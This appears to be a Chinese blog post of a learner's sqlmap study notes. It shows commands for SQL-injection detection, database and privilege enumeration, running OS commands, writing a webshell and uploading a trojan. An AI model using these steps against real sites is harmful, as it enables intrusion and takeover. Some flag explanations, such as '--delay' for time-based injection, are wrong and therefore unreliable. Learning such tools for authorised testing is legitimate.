琥珀的WEB学习之路

sqlmap学习笔记(二)

2017-11-11  本文已影响4人  Ackerzy

之前写的相当于一个简单的概要,接下来较为详细地介绍一下sqlmap的各种功能。


0x01 sqlmap三种请求类型的注入检测

GET方式
http://localhost/amber/get.php?a=amber
理解在URL链接中显示并传输数据的方式就是GET方式。
sqlmap GET方式注入检测:
sqlmap.py -u "URL"

POST方式
http://loaclhost/amer/post.php
POST数据:a=amber
sqlamp POST方式注入检测:
sqlmap.py -u "URL" --data "POST数据"

Cookie方式
http://localhost/amber/cookie.php
COOKIE数据:a=amber
sqlmap Cookie方式注入检测:
sqlmap.py -u "URL" --cookie "Cookie数据"

0x02 获取数据库相关信息

1. 常见数据库类型:

  1. Microsoft SQL Server
  2. Mysql
  3. Orcle
  4. PostgreSQL

2. 获取数据库类型及版本

直接使用注入方式的检测语法即可获取数据库类型及版本

屏幕截图.jpg

3. 获取当前网站所使用的数据库名和用户名

遇到Microsoft Access的注入点不需要获取其数据库名。
对于Mysql这样的数据库使用如下语法:
sqlmap.py -u "目标url" --current-user --current-db

0x03 获取数据量和用户权限

1. 获取数据库的数据量

为什么要获取数据量?
拿到了数据库却又因为授权问题不能查看数据库里面的内容,只好来
看数据量大小来判断注入点危害了
方法:
sqlmap.py -u "目标url" --count -D "库名称"

2. 判断用户权限

为什么要判断用户权限?
搞了这么久为什么我这个注入点什么也干不了(写webshell等),没有事先判断好权限,浪费了不必要的时间
方法:
1.sqlmap.py -u "目标url" --privileges
2.更简单的,可以通过用户名判断权限
Microsoft SQL Server最高权限用户名:sa
Mysql最高权限用户名:root

0x04 延时注入

1. 什么情况下进行延时注入

SQL注入漏洞的过程中,页面无变化、无法用布尔真假判断、无法报错的情况下就可以使用延时注入技术。但缺点是耗时长。

2. 如何延时注入

sqlmap.py -u "目标url" --delay 数值 数值为延时的秒数
sqlmap.py -u "目标url" -safe-freq

0x05 sqlmap写webshell

1. 交互式命令

需要注意的是这里的注入点必须为最高权限才可以进行下面的操作
sqlmap.py -u "目标url" --os-cmd=命令
(注意在使用交互式参数时要知道网站的绝对路径,可以参考)
而在我们执行的时候,sqlmap是创建了一个文件

屏幕截图.jpg
这个文件也是被创建在我们网站的绝对路径下,执行完指定命令后会自动删除。

2. 写webshell

sqlmap.py -u "目标url" --os-shell
之后进行一些简单的填写,完成后可以看到生成了一个这样的文件

屏幕截图.jpg

通过这个页面我们可以上传自己的脚本木马

0x06 批量检测注入漏洞

sqlmap可以批量检测注入漏洞
sqlmap.py -m 注入点文件

屏幕截图.jpg

在这里结合Burp可以进行更加强大的批量处理

上一篇 下一篇

猜你喜欢

热点阅读